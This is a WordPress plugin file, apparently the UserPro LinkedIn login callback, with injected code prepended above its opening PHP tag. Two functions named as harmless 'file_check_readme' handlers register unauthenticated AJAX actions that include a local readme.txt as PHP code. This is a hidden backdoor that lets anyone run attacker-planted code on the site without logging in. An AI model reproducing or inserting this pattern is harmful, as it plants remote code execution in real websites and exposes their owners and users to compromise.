if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php // Load WordPress functions if (!defined('ABSPATH')) { //If wordpress isn't loaded load it up. $full_path_to_file = __FILE__; if (strpos($full_path_to_file, '/') !== false) { $path_array = explode('/', $full_path_to_file); } else{ $path_array = explode("\\", $full_path_to_file); } $path = ""; foreach($path_array as $path_piece){ if(strpos($path_piece, 'wp-content') === false){ $path .= $path_piece . '/'; } else{ break; } } include_once $path . 'wp-load.php'; } if (!empty($_GET['code'])) { require(userpro_path . 'functions/socials/LinkedinAuth.php'); $linkedin = new LinkedinAuth(); $linkedin->login($_GET['code']); }